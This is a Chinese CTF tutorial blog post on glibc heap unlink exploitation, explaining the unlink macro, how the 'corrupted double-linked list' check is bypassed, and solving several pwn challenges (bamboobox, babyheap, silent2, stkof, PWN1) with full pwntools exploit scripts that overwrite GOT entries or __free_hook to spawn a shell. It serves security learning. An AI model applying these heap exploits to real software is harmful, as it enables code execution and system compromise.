堆入门---unlink的理解和各种题型总结

2019-07-26 约 2105 字 预计阅读 10 分钟

声明:本文 【堆入门—unlink的理解和各种题型总结】 由作者 小白King 于 2019-07-26 09:45:00 首发 先知社区 曾经 浏览数 20 次

感谢 小白King 的辛苦付出!

这是我开始学习堆不久后对于一些知识点和CTF题型的总结,希望能帮助到更多的初学者入门二进制安全,大家可以一起打PWN交流,题目和exp我放在附件,下面直接进入正题:

一、源码介绍:

当需要合并相邻的freechunk时用到unlink:

1、向后合并:

#!c
    /*malloc.c  int_free函数中*/
/*这里p指向当前malloc_chunk结构体,bck和fwd分别为当前chunk的向后和向前一个free chunk*/
/* consolidate backward */
    if (!prev_inuse(p)) {
      prevsize = p->prev_size;
size += prevsize;
//修改指向当前chunk的指针,指向前一个chunk。
      p = chunk_at_offset(p, -((long) prevsize)); 
      unlink(p, bck, fwd);
}   

//相关函数说明:
/* Treat space at ptr + offset as a chunk */
#define chunk_at_offset(p, s)  ((mchunkptr) (((char *) (p)) + (s))) 

/*unlink操作的实质就是:将P所指向的chunk从双向链表中移除,这里BK与FD用作临时变量*/
#define unlink(P, BK, FD) {                                            \
    FD = P->fd;                                   \
    BK = P->bk;                                   \
    FD->bk = BK;                                  \
    BK->fd = FD;                                  \
    ...
}

画个图举例说明:

当chunk2free完了,发现上一个块chunk1也是free状态的,就抱大腿合并起来,指挥权交给chunk1,指向chunk2的ptr指针现在指向chunk1,size也变为size+presize:也就是这样:

接着因为使用完了会进行分箱式管理,因此这个新的free的chunk1不会很快回到操作系统,于是需要从所在的free的chunk链中进行unlink(有fd指针和bk指针)再放到unsorted bin中保存。

2、向前合并():

#!c
……
/*这里p指向当前chunk*/
nextchunk = chunk_at_offset(p, size);
……
nextsize = chunksize(nextchunk);
……
if (nextchunk != av->top) { 
      /* get and clear inuse bit */
      nextinuse = inuse_bit_at_offset(nextchunk, nextsize);//判断nextchunk是否为free chunk
      /* consolidate forward */
      if (!nextinuse) { //next chunk为free chunk
            unlink(nextchunk, bck, fwd); //将nextchunk从链表中移除
          size += nextsize; // p还是指向当前chunk只是当前chunk的size扩大了,这就是向前合并!
      } else
            clear_inuse_bit_at_offset(nextchunk, 0);    

      ……
    }

同样用图来解释:

当chunk1free完了,发现相邻的chunk2也是free的,会先进行unlink(让chunk2先脱链,有fd和bk指针),然后再进行合并:size = size+nextsize,ptr指向不变,还是自己:

以上就是两种合并free的chunk的方式,合并过程中用到unlink函数,在free的链表中把chunk块脱下来,然后可以把新的free的chunk块放到bins中管理~

二、保护机制探索

目前集成的对于unlink的保护机制主要就是下面这个:

if (__builtin_expect (FD->bk != P || BK->fd != P, 0))                      
  malloc_printerr (check_action, "corrupted double-linked list", P, AV);

这个保护学过了数据结构都懂得,也就是要满足p-->fd-->bk = p-->bk-->fd = p,很好理解,但是要怎么绕过呢?

利用一个很巧妙的数学等式,完美搞定:下面的例子演示的是64位的例子(一个字节8位),取一个全局变量ptr(指针地址,一般为chunk块的指针地址,存放于bss段中)

令p-->fd = ptr - 24,p-->bk = ptr - 16 ,为什么这么构造,待会就知道了,我们知道空闲块的布局是这样的:

当我们构造好了后,得到FD = p-->fd = ptr - 24,BK = p-->bk = ptr - 16,那么FD-->bk = FD + 3*8 = ptr - 24 + 24 = ptr,同理可得BK-->fd = BK + 16 = ptr - 16 + 16 = ptr,也就是说FD-->bk = BK-->fd = ptr,从而成功绕过了检测机制,那么unlink执行了~我们知道执行是这样的:

FD = P->fd;                                   \
    BK = P->bk;                                   \
    FD->bk = BK;                                  \
    BK->fd = FD;

根据上面的精心构造,我们可以得到FD-->bk = BK 相当于ptr = ptr - 16,BK->fd = FD相当于 ptr = ptr - 24,unlink执行完了后,我们得到最终的结果就是ptr = ptr -24 ,也就是说ptr指向了ptr-24的地址处。那么如果我们往ptr写入内容为‘a’*24+free(got),那么就可以实现在ptr处写入free的got表,如果再往ptr写入onegadget,那么就是我往free的got表写入onegadget从而getshell~

纸上学终觉浅,绝知此事要躬行:上题目

LAB11:bamboobox

开了堆栈不可执行和栈溢出保护,问题不大:

ida分析一波

int __cdecl main(int argc, const char **argv, const char **envp)
{
  _QWORD *v3; // [rsp+8h] [rbp-18h]
  char buf; // [rsp+10h] [rbp-10h]
  unsigned __int64 v5; // [rsp+18h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stdin, 0LL, 2, 0LL);
  v3 = malloc(0x10uLL);
  *v3 = hello_message;
  v3[1] = goodbye_message;
  (*v3)(16LL, 0LL);
  while ( 1 )
  {
    menu();
    read(0, &buf, 8uLL);
    switch ( atoi(&buf) )
    {
      case 1:
        show_item(&buf, &buf);
        break;
      case 2:
        add_item(&buf, &buf);
        break;
      case 3:
        change_item();
        break;
      case 4:
        remove_item();
        break;
      case 5:
        (v3[1])(&buf, &buf);
        exit(0);
        return;
      default:
        puts("invaild choice!!!");
        break;
    }
  }
}

熟悉的菜单题:把功能都看一遍


接着我们把函数提取出来:

def malloc(size,content):
    ru("Your choice:")
    sl('2')
    ru("Please enter the length of item name:")
    sd(str(size))
    ru("Please enter the name of item:")
    sd(content)
def free(index):
    ru("Your choice:")
    sl('4')
    ru("Please enter the index of item:")
    sl(str(index))
def exit():
    ru("Your choice:")
    sl('5')
def puts():
    ru("Your choice:")
    sl('1')
def change(index,size,content):
    ru("Your choice:")
    sl('3')
    ru("Please enter the index of item:")
    sd(str(index))
    ru("Please enter the length of item name:")
    sd(str(size))
    ru("Please enter the new name of the item:")
    sd(content)

认真分析会发现chunk块的结构如下:

struct chunk{

int size;

char a[size];

}

进一步分析可以知道,存在堆溢出的漏洞,造成堆块的重叠,这里就是说change时会把新的内容输进去,从而覆盖原来的内容达到溢出的目的,但是一开始题目会生成一个chunk(0x10),我们知道这是用于输出最开始和结束的字符串,有地址,程序有magic地址:

这题的思路就是unlink,因为有堆溢出的漏洞,所以可以改写相邻的chunk的状态,使得它在free时会触发unlink,实现我们的攻击目的:

利用思路:在chunk1中构造fake_chunk,然后溢出改chunk2的presize和size,这样就可以free掉chunk1了,同时可以触发unlink,使得我们的ptr指针指向ptr-3的位置,输入时输入‘a’*24+atoi_got,就可以实现ptr指向got表,接着可打印出真实地址,又可以改写got为onagadget。

上exp:

#coding=utf8
from pwn import *
context.log_level = 'debug'
context(arch='amd64', os='linux')

local = 1
elf = ELF('./bamboobox')
if local:
    p = process('./bamboobox')
    libc = elf.libc
else:
    p = remote('116.85.48.105',5005)
    libc = ELF('./libc.so.6')

sl = lambda s : p.sendline(s)
sd = lambda s : p.send(s)
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)
ti = lambda : p.interactive()


def bk(addr):
    gdb.attach(p,"b *"+str(hex(addr)))

def malloc(size,content):
    ru("Your choice:")
    sl('2')
    ru("Please enter the length of item name:")
    sd(str(size))
    ru("Please enter the name of item:")
    sd(content)
def free(index):
    ru("Your choice:")
    sl('4')
    ru("Please enter the index of item:")
    sl(str(index))
def exit():
    ru("Your choice:")
    sl('5')
def puts():
    ru("Your choice:")
    sl('1')
def change(index,size,content):
    ru("Your choice:")
    sl('3')
    ru("Please enter the index of item:")
    sd(str(index))
    ru("Please enter the length of item name:")
    sd(str(size))
    ru("Please enter the new name of the item:")
    sd(content)

magic = 0x400d49
atoi_got = elf.got["atoi"]

#bk(0x0000000000400ADD)
malloc(0x80,'aaaa')
malloc(0x80,'bbbb')

FD = 0x6020c8 - 3*8
BK = FD + 8
py1 = p64(0) + p64(0x81) + p64(FD) + p64(BK)  #0x20
py1 += "a"*0x60 
py1 += p64(0x80) + p64(0x90) #0x10
change(0,0x90,py1)
free(1)

py2 = ''
py2 += 'a'*24 + p64(atoi_got)
change(0,len(py2),py2) 
puts()

atoi_addr = u64(ru('\x7f')[-6:].ljust(8,'\x00'))
print "atoi_addr--->" + hex(atoi_addr)
onegadget = atoi_addr - libc.symbols["atoi"] + 0xf02a4
print "onegadget--->" + hex(onegadget)
change(0,0x10,p64(onegadget))
exit()

p.interactive()

下面进入gdb动态调试一波,看下具体是怎么实现的:

首先是malloc两个0x80大小的块(实际会是0x90,超过了fastbin的范围),就可以实现unlink,双向链表才有这个操作,fastbin单向链表所以是没有的unlink的攻击的。

可以看到3个chunk,1号chunk是存字符串的,2和3号chunk是我们申请的chunk块。

接着我们构造出fake_chunk:

在free掉chunk3前,我们先看看我们的ptr = 0x6020c8在内存中的布局:

看到它指向的正是0xf4d030,也就是我们的chunk2的string的堆块地址,接着我们free掉chunk3,可以得到:

ptr指向我们的ptr-24的位置(0x6020b0),接着看下我们的堆块

可以看到由于只有一个free块又与topchunk相邻,所以会和topchunk结合。大小变成0x20fd1,如果申请了3个chunk就会放到unsorted bin 中。

接着我们改写0x6020c8的位置为atoi的got表:

这里前面有3个位置直接填充字符,看到0x6020c8的位置被我们成功写成了atoi的got表,接着再写一次就是往got写onegadget了:

可以看到成功写入了onegadget,当再次选择时,调用atoi函数就是调用了onegadget,那么就可以gethell了~

这题如果不用unlink去做,就是用house of force,也就是一开始我想的,怎么修改程序自己生成的那个chunk,因为里面有地址,想要修改地址里面的内容为我们的magic,这样就可以实现catflag了,直接上exp:

#coding=utf8
from pwn import *
context.log_level = 'debug'
context(arch='amd64', os='linux')

local = 1
elf = ELF('./bamboobox')
if local:
    p = process('./bamboobox')
    libc = elf.libc
else:
    p = remote('116.85.48.105',5005)
    libc = ELF('./libc.so.6')

sl = lambda s : p.sendline(s)
sd = lambda s : p.send(s)
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)
ti = lambda : p.interactive()


def bk(addr):
    gdb.attach(p,"b *"+str(hex(addr)))

def malloc(size,content):
    ru("Your choice:")
    sl('2')
    ru("Please enter the length of item name:")
    sd(str(size))
    ru("Please enter the name of item:")
    sd(content)
def free(index):
    ru("Your choice:")
    sl('4')
    ru("Please enter the index of item:")
    sl(str(index))
def exit():
    ru("Your choice:")
    sl('5')
def puts():
    ru("Your choice:")
    sl('1')
def change(index,size,content):
    ru("Your choice:")
    sl('3')
    ru("Please enter the index of item:")
    sd(str(index))
    ru("Please enter the length of item name:")
    sd(str(size))
    ru("Please enter the new name of the item:")
    sd(content)

magic = 0x400d49

bk(0x0000000000400ADD)
malloc(0x60,'aaaa')
py1 = 'a'*0x60 + p64(0) + p64(0xffffffffffffffff)
change(0,0x70,py1)
malloc(-160,'bbbb')
malloc(0x20, p64(magic)*2)
p.interactive()

那么问题来了,如果没有这个堆溢出漏洞可以去构造出fake_chunk时,或者说malloc的大小固定时我们应该怎么办呢?这里介绍第二种方式:堆块的错位重叠(同样也是堆块里面创造堆块),这里要用到堆地址才能实现,所以得有puts函数打印出堆块上面的信息。

看下网鼎杯的babyheap:

这里看到出了canary,其他的保护几乎全开,got表不可改?真的吗?错,__free_hook还是可以改写的,这是个知识点,要记牢固!

下面进行分析:

void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
  int v3; // [rsp+Ch] [rbp-24h]
  char s; // [rsp+10h] [rbp-20h]
  unsigned __int64 v5; // [rsp+28h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  sub_400882();
  puts("I thought this is really baby.What about u?");
  puts("Loading.....");
  sleep(5u);
  while ( 1 )
  {
    while ( 1 )
    {
      while ( 1 )
      {
        sub_4008E3();
        memset(&s, 0, 0x10uLL);
        read(0, &s, 0xFuLL);
        v3 = atoi(&s);
        if ( v3 != 2 )
          break;
        sub_400A79();
      }
      if ( v3 > 2 )
        break;
      if ( v3 != 1 )
        goto LABEL_13;
      sub_4009A0();
    }
    if ( v3 == 3 )
    {
      sub_400C01();
    }
    else
    {
      if ( v3 != 4 )
LABEL_13:
        exit(0);
      sub_400B54();
    }
  }
}

可以看到是常规的菜单题,然后提取出各个函数:

def malloc(index,Content):
    ru("Choice:")
    sl('1')
    ru("Index:")
    sl(str(index))
    ru("Content:")
    sd(Content)
def free(Index):
    ru("Choice:")
    sl('4')
    ru("Index:")
    sl(str(Index))
def puts(Index):
    ru("Choice:")
    sl('3')
    ru("Index:")
    sl(str(Index))
def exit():
    ru("Choice:")
    sl('5')
def edit(index,Content):
    ru("Choice:")
    sl('2')
    ru("Index:")
    sl(str(index))
    ru("Content:")
    sd(Content)

这里需要注意几点,首先只能申请10个堆块,然后只能编辑3次,那么问题来了,该怎么做呢?

第一步先泄露出堆的基地址:

malloc(0,'aaaaaaaa\n')
malloc(1,'bbbbbbbb\n')
free(1)
free(0)
puts(0)
heap_addr = u64(rc(4).ljust(8,'\x00')) - 0x30
print "heap_addr--->" + hex(heap_addr)

free完了,我们在bins中得到了2个chunk块。这里free的顺序需要特别注意,因为第一个申请的一般低位是0会有截断,我试过,泄露不出地址。所以先free掉chunk1再free掉chunk0,这样chunk0指向chunk1,得到chunk1的地址,进一步得到堆块的基地址。

拿到了堆块的基地址,可以构造fakechunk了,这里我们用堆块错位法,编辑下:

在chunk0的fd位置填写0x113d020,bk填写0,然后data那里填写0和0x31,那么fd指向chunk0自身的0x113d020位置处,bins中也可见:

接着我们申请新的块就会造成堆块的重叠错位,要知道0x113d030处正好有我们的chunk1的大小0x30,如果我们成功控制了0x113d020的堆块,就可以下溢修改chunk1的大小了,改成大于fastbins的chunk,使得后面free时可以得到main_arena的地址,说干就干。

成功了,看到chunk1的大小变成了0xa0,而且转态是free的,但是我们得继续申请才有这么多的空间(实际上还是0x20的大小),我们接着申请2个垃圾堆块(0x60,纯属为了free时给空间),再申请一个chunk4,chunk4的presize和size还是属于我们的fake_chunk的。0x30+0x60+0x10 = 0xa0,刚好,下面我们对chunk4进行精心的构造,造出第二个fake_chunk来,好实现unlink操作~

0x113d0d0那里有0和0x30,gdb没有显示而已,是我们的fake_chunk的presize和size,然后全局变量我们选取的是chunk1的地址指针(0x602068)+24的位置即0x602080(chunk4的指针地址),fd和bk就构造出来了:

FD = 0x602080-24
BK = 0x602080-16
py2 = ''
py2 += p64(0) + p64(0x31)
py2 += p64(FD) + p64(BK)
malloc(4,py2)
py3 = ''
py3 += p64(0x30) + p64(0x30) + '\n'
malloc(5,py3)

最终unlink出来,0x602080指向0x602068的位置,也就是说chunk4指向chunk1,那么编辑chunk4,就会往chunk1写入free_hook真实地址,接着再编辑chunk1一次,往free_hook地址上写入onegadget即可getshell~

这是unlink后的chunk块,可以发现是向前合并的类型,0xa0+0x30=0xd0,同时放入了unsortedbin中,那么我们直接可以打印出main_arena的地址,从而得到基地址和onegadget,接着编辑即可,上完整的exp:

#coding=utf8
from pwn import *
context.log_level = 'debug'
context(arch='amd64', os='linux')
#context(arch='i386', os='linux')
local = 1
elf = ELF('./babyheap')
if local:
    p = process('./babyheap')
    libc = elf.libc
else:
    p = remote('116.85.48.105',5005)
    libc = ELF('./libc.so.6')

sl = lambda s : p.sendline(s)
sd = lambda s : p.send(s)
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)
ti = lambda : p.interactive()
#addr = u64(rc(6).ljust(8,'\x00'))
#addr = u32(rc(4))
#addr = int(rc(6),16)#string
def debug(addr,PIE=True):
    if PIE:
        text_base = int(os.popen("pmap {}| awk '222print $1}}'".format(p.pid)).readlines()[1], 16)
        gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
    else:
        gdb.attach(p,"b *{}".format(hex(addr)))

def bk(addr):
    gdb.attach(p,"b *"+str(hex(addr)))


def malloc(index,Content):
    ru("Choice:")
    sl('1')
    ru("Index:")
    sl(str(index))
    ru("Content:")
    sd(Content)
def free(Index):
    ru("Choice:")
    sl('4')
    ru("Index:")
    sl(str(Index))
def puts(Index):
    ru("Choice:")
    sl('3')
    ru("Index:")
    sl(str(Index))
def exit():
    ru("Choice:")
    sl('5')
def edit(index,Content):
    ru("Choice:")
    sl('2')
    ru("Index:")
    sl(str(index))
    ru("Content:")
    sd(Content)
bk(0x400A56)

malloc(0,'aaaaaaaa\n')
malloc(1,'bbbbbbbb\n')
free(1)
free(0)
puts(0)
heap_addr = u64(rc(4).ljust(8,'\x00')) - 0x30
print "heap_addr--->" + hex(heap_addr)
py1 = p64(heap_addr+0x20) + p64(0)
py1 += p64(0) + p64(0x31)
edit(0,py1)

malloc(6,'aaa\n')
malloc(7,p64(0) + p64(0xa1) + '\n')

malloc(2,'cccccccc\n')
malloc(3,'dddddddd\n')

FD = 0x602080-24
BK = 0x602080-16
py2 = ''
py2 += p64(0) + p64(0x31)
py2 += p64(FD) + p64(BK)
malloc(4,py2)
py3 = ''
py3 += p64(0x30) + p64(0x30) + '\n'
malloc(5,py3)

free(1)
puts(1)

main_arena = u64(rc(6).ljust(8,'\x00')) - 88
print "main_arena--->" + hex(main_arena)
libc_base = (main_arena&0xfffffffff000) - 0x3c4000
print 'libcbase--->' + hex(libc_base)
# malloc_hook = main_arena - 0x10
# libc_base1 = malloc_hook - libc.symbols["__malloc_hook"]
# print 'libc_base1--->' + hex(libc_base1)
onegadget = libc_base + 0x4526a
free_hook = libc_base + libc.symbols["__free_hook"]
print "free_hook--->" + hex(free_hook)
print "onegadget--->" + hex(onegadget)

edit(4,p64(free_hook) + '\n')
edit(1,p64(onegadget) + '\n')
free(2) 
p.interactive()

调试可以看到信息:

接着随便free掉一个块即可getshell~

这里总结如下:

首先题型是固定malloc大小,然后不能实现堆溢出,可以通过泄露出堆地址来实现chunk的错位从而间接改写chunk大小为大于fastbin的大小,并通过不断申请新的chunk来加需要的空间,最后构造一个free的chunk来实现unlink(向前合并),再构造一个chunk来使得前面的chunk位free状态,最后free掉一开始的chunk块,既可实现双重功能:泄露libc和任意地址写~用到的知识点是unlink+UAF+fastbin_attack

那就再来一道简单题:

2018年强网杯silent2:

分析代码:

void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
  int v3; // [rsp+4h] [rbp-Ch]
  unsigned __int64 v4; // [rsp+8h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  sub_40091C(a1, a2, a3);
  sub_4009A4();
  while ( 1 )
  {
    __isoc99_scanf("%d", &v3);
    getchar();
    switch ( v3 )
    {
      case 2:
        sub_400AB7();
        break;
      case 3:
        sub_400B2F();
        break;
      case 1:
        sub_4009DC();
        break;
    }
  }
}

得到函数:

def create(size, content):
    p.sendline('1')
    p.sendline(str(size))
    p.send(content)


def modify(idx, content1, content2):
    p.sendline('3')
    p.sendline(str(idx))
    p.send(content1)
    p.send(content2)


def delete(idx):
    p.sendline('2')
    p.sendline(str(idx))

可以看到是没有puts函数可以打印的,但是这题的思路相对清晰,就是利用UAF漏洞,先malloc5个chunk块(大于0x80),0,1,2,3,4,其中2chunk写入“、bin/sh\x00”,因为看到了system函数,可以直接调用的,然后free掉3和4,再申请一个大的块时就会得到之前free的两个块,上面的信息也会保留,于是可以构造fake_chunk了,这里先构造一个fake_chunk1用于unlink,接着构造第二个fake_chunk2,将第一个fake_chunk状态置为0,同时修改下一个chunk4的大小使其满足fake_chunk1+fake_chunk2 = 大的malloc的chunk。接着我们再free掉4号chunk,(double free)就会向后合并,从而使得chunk3的地址指针指向chunk0,接着再往chunk3写入free的got,再接着往chunk0写入system,然后free掉2号chunk,即可getshell~

直接上exp:

#coding=utf8
from pwn import *
context.log_level = 'debug'
context(arch='amd64', os='linux')
#context(arch='i386', os='linux')
local = 1
elf = ELF('./silent2')
if local:
    p = process('./silent2')
    libc = elf.libc
else:
    p = remote('116.85.48.105',5005)
    libc = ELF('./libc.so.6')

def create(size, content):
    p.sendline('1')
    p.sendline(str(size))
    p.send(content)


def modify(idx, content1, content2):
    p.sendline('3')
    p.sendline(str(idx))
    p.send(content1)
    p.send(content2)


def delete(idx):
    p.sendline('2')
    p.sendline(str(idx))


p.recvuntil('king') # 自己创建的banner.txt文件的内容

func_addr = 0x4009C0
free_got_plt = 0x602018
p_addr = 0x6020D8

create(0x100, 'AAAA')
create(0x100, 'BBBB')
create(0x100, '/bin/sh\x00')
#bk(0x0000000000400A4F)
create(0x100, 'DDDD')
create(0x100, 'EEEEE')

delete(3)
delete(4)
payload = p64(0) + p64(0x101) + p64(p_addr - 0x18) + p64(p_addr - 0x10) + 'A' * (0x100 - 0x20) + p64(0x100) + p64(
    0x210 - 0x100) # 构造两个chunk,绕过unlink的检查
create(0x210, payload)
delete(4)  # double free
modify(3, p64(free_got_plt)[0:4], '1111')
modify(0, p64(func_addr)[0:6], '2222')
delete(2)

p.interactive()

这题和堆块下溢本质上是差不多的,区别在于没有puts函数和下溢漏洞,但是有UAF漏洞,就可以实现构造fake_chunk,这和第一题是很像的,和下溢的操作是差不多的。

堆溢出,还有一种情况就是当我们的puts无法调用时,无法打印出堆块上面的内容时,我们可以间接调用法,通过unlink写入free的got,然后再写一次往free的got写入puts_plt,那么就可以实现free调用就是调用puts函数,只要free一个带有got表的堆块,我们就可以实现puts打印功能了,接着再次改写free的got为onegadget或者atoi的got为system,传参数(/bin/sh\x00)即可实现getshell~

上题目:

2014 HITCON stkof

由于利用思路都是一样的,堆溢出构造fake_chunk,然后unlink攻击,所以直接上exp:

#coding=utf8
from pwn import *
context.log_level = 'debug'
context(arch='amd64', os='linux')
#context(arch='i386', os='linux')
local = 1
elf = ELF('./stkof')
if local:
    p = process('./stkof')
    libc = elf.libc
else:
    p = remote('116.85.48.105',5005)
    libc = ELF('./libc.so.6')

sl = lambda s : p.sendline(s)
sd = lambda s : p.send(s)
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)
ti = lambda : p.interactive()
#addr = u64(rc(6).ljust(8,'\x00'))
#addr = u32(rc(4))
#addr = int(rc(6),16)#string
def debug(addr,PIE=True):
    if PIE:
        text_base = int(os.popen("pmap {}| awk '222print $1}}'".format(p.pid)).readlines()[1], 16)
        gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
    else:
        gdb.attach(p,"b *{}".format(hex(addr)))
def bk(addr):
    gdb.attach(p,"b *"+str(hex(addr)))

def edit(index,size,Content):
    sl('2')
    sl(str(index))
    sl(str(size))
    sd(Content)
    ru('OK\n')
def free(Index):
    sl('3')
    sl(str(Index))
def malloc(size):
    sl('1')
    sl(str(size))
    ru('OK\n')

ptr = 0x602150
free_got = elf.got['free']
atoi_got = elf.got['atoi']
puts_got = elf.got["puts"]
puts_plt = elf.symbols['puts']
malloc(0x80)#1
malloc(0x30)#2
bk(0x400981)
malloc(0x80)#3
FD = ptr - 0x18
BK = ptr - 0x10
py = ''
py += p64(0) + p64(0x31)
py += p64(FD) + p64(BK)
py += 'a'*16
py += p64(0x30) + p64(0x90)
edit(2,0x40,py)
free(3)
py1 = ''
py1 += p64(0) + p64(atoi_got) + p64(puts_got) + p64(free_got)
edit(2,len(py1),py1)
py2 = ''
py2 += p64(puts_plt)
edit(2,len(py2),py2)
free(1)
puts_addr = u64(ru('\x7f')[-6:].ljust(8,'\x00'))
print "puts_addr--->" + hex(puts_addr)
onegadget = puts_addr - libc.symbols["puts"] + 0xf02a4
print "onegadget--->" + hex(onegadget)
system = puts_addr - libc.symbols["puts"] + libc.symbols['system']
# edit(2,0x8,p64(onegadget))
# free(2)
edit(0,0x8,p64(system))
sl('/bin/sh\x00')
p.interactive()

下面是我当时打全国大学生信息安全竞赛时半决赛的一道unlink的题目总结:

题目:PWN1

首先看下保护机制:

看到保护机制,想到要想getshell,只有通过修改__free_hook的地址为我们的onegadget,先埋下伏笔,这里分析开始漏洞:

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  int v3; // eax

  init();
  while ( 1 )
  {
    while ( 1 )
    {
      while ( 1 )
      {
        menu();
        v3 = read_int();
        if ( v3 != 2 )
          break;
        fr();
      }
      if ( v3 > 2 )
        break;
      if ( v3 != 1 )
        goto LABEL_13;
      ma();
    }
    if ( v3 == 3 )
    {
      ed();
    }
    else
    {
      if ( v3 != 4 )
LABEL_13:
        exit(1);
      sh();
    }
  }
}

提取出函数:

def edit(index,Content):
    ru("show")
    sl('3')
    ru("index:")
    sl(str(index))
    ru("content:")
    sd(Content)
def free(Index):
    ru("show")
    sl('2')
    ru("index:")
    sl(str(Index))
def malloc(index,size,content):
    ru("show")
    sl('1')
    ru("index:")
    sl(str(index))
    ru("size:")
    sl(str(size))
    ru("content:")
    sd(content)
def puts(index):
    ru("show")
    sl('4')
    ru("index:")
    sl(str(index))

首先是malloc函数,发现很正常,输入下标,大小和内容:

接着是free函数:

接着edit函数:

最后是puts函数,key2应该是0,所以用不了打印函数:

bss段中key1和key2,掌控着edit函数的使用次数和puts函数的打印功能,而且细心会发现,其实只要填到key2,因为地址占用8位,那么key1也是会被覆盖成1的,问题是要修改这里的值,得下溢,所以得往上找注入点:

如果我们可以往chunk32的地址0x6021E0处写入内容的话,就可以实现下溢,0x6022b8-0x6021E0 = 0xd8字节,也就是从这里开始输入要输入0xd8的字节,同时chunk32是我们能控制的最后一个chunk块,unlink后输入的位置是chunk29的地址,有0x18的距离,0x18+0xd8=0xf0,也就是要填充0xf0的junk string,然后再写入8字节的数字,所以一共需要0xf8的大小,即堆块的大小必须要是0xf8才行,这是第一个坑点,需要计算出要malloc的堆块大小。

接着因为off by null的原理是在输入最后加上一个\x00,溢出一个字节,那么就可以想到修改上一个堆块的状态为free,于是想到可以用unlink的做法实现chunk32的地址指向chunk29,那么我们可以构造出来:

malloc(0,0xf8,'aaaa')
malloc(32,0xf8,'bbbb')
malloc(1,0xf8,'cccc')
malloc(31,0xf8,'dddd')
free_got = elf.got['free']
ptr = 0x6021E0#32
FD = ptr - 24
BK = ptr - 16
py = ''
py += p64(0) + p64(0xf1)
py += p64(FD) + p64(BK)
py = py.ljust(0xf0, "\x00")
py += p64(0xf0)
edit(32,py)
free(1)

我们先申请4个堆块,然后在chunk32里面做文章,构造出我们的unlink链子,由于off by one的漏洞,会把chunk1的size字节低位置为0,那么就是说我们的fake_chunk是free状态的,这时我们如果free掉chunk1,就会触发unlink从而实现了chunk32指向chunk29,如果我们edit了chunk32,就会从chunk29开始输入,下面一步步看下具体的过程,首先是申请:

接着是fake_chunk的构造:方框是fake_chunk,圆圈是我们的offbyone漏洞,使得我们的fake_chunk为free状态

unlink一下:

一个unlink实现了泄露出libc基地址和0x6021e0指向0x6021c8,接着再改写key1和key2:

py = ''
py += p64(0x6021E0)*3 + p64(free_got)#0x20
py += 'a'*0xD0
py += p64(1)
edit(32,py)

下图中key2为0,key1位1(改写前),可edit不可puts

下图中key2为1,key1位0(改写后)可edit可puts

这里很巧妙的一点就是chunk29到chunk31都填写chunk32的地址,也就是往chunk29到chunk31写入内容实则都是往chunk32写入内容,那么我们可以进行真实地址泄露了,这里可以puts出chunk32上面的free的真实地址,也可以通过打印1号块的内容来泄露main_arena地址(unsorted bin攻击),打印完了我们就可以得到system和onegadget和free_hook的地址,然后将free_hook地址写入到chunk32中,再往chunk32写入onegadget:

上exp:

#coding=utf8
from pwn import *
context.log_level = 'debug'
context(arch='amd64', os='linux')
#context(arch='i386', os='linux')
local = 1
elf = ELF('./pwn1')
if local:
    p = process('./pwn1')
    libc = elf.libc
else:
    p = remote('116.85.48.105',5005)
    libc = ELF('./libc.so.6')

def debug(addr,PIE=True):
    if PIE:
        text_base = int(os.popen("pmap {}| awk '222print $1}}'".format(p.pid)).readlines()[1], 16)
        gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
    else:
        gdb.attach(p,"b *{}".format(hex(addr)))
def bk(addr):
    gdb.attach(p,"b *"+str(hex(addr)))

def edit(index,Content):
    ru("show")
    sl('3')
    ru("index:")
    sl(str(index))
    ru("content:")
    sd(Content)
def free(Index):
    ru("show")
    sl('2')
    ru("index:")
    sl(str(Index))
def malloc(index,size,content):
    ru("show")
    sl('1')
    ru("index:")
    sl(str(index))
    ru("size:")
    sl(str(size))
    ru("content:")
    sd(content)
def puts(index):
    ru("show")
    sl('4')
    ru("index:")
    sl(str(index))


#bk(0x400990)
malloc(0,0xf8,'aaaa')
malloc(32,0xf8,'bbbb')
malloc(1,0xf8,'cccc')
malloc(31,0xf8,'dddd')
free_got = elf.got['free']
ptr = 0x6021E0#32
FD = ptr - 24
BK = ptr - 16
py = ''
py += p64(0) + p64(0xf1)
py += p64(FD) + p64(BK)
py = py.ljust(0xf0, "\x00")
py += p64(0xf0)
edit(32,py)
free(1)
#0xF8
py = ''
py += p64(0x6021E0)*3 + p64(free_got)
py += 'a'*0xD0
py += p64(1)
edit(32,py)
puts(32)
free_addr = u64(ru('\x7f')[-6:].ljust(8,'\x00'))
print "free_addr--->" + hex(free_addr)
onegadget = free_addr - libc.symbols["free"] + 0x4526a
print "onegadget--->" + hex(onegadget)
free_hook = free_addr - libc.symbols["free"] + libc.symbols['__free_hook']
print "free_hook--->" + hex(free_hook)
pay = p64(free_hook)#这里需要注意,edit又会被使用完,所以需要再覆盖一次为1
pay = pay.ljust(0xf0,'\x00')
pay += p64(1)
edit(31,pay)
edit(32,p64(onegadget))
free(0)
p.interactive()

最后free掉chunk0即可getshell~

总结:

这里学到了新的技巧是利用off by null+unlink(手动计算堆块大小0xf8),同时学到了那3个地址写同一个地方的操作(针对于只有free_hook可用,需要二次写入时),还有就是一个覆盖的问题,写入覆盖bss段中的key实现函数的利用,认识了这么多的题型和技巧,unlink算是学的比较懂了,进军下一个方向,冲冲冲~

关键词:[‘安全技术’, ‘二进制安全’]


author

旭达网络

旭达网络技术博客,曾记录各种技术问题,一贴搞定.
本文采用知识共享署名 4.0 国际许可协议进行许可。

We notice you're using an adblocker. If you like our webite please keep us running by whitelisting this site in your ad blocker. We’re serving quality, related ads only. Thank you!

I've whitelisted your website.

Not now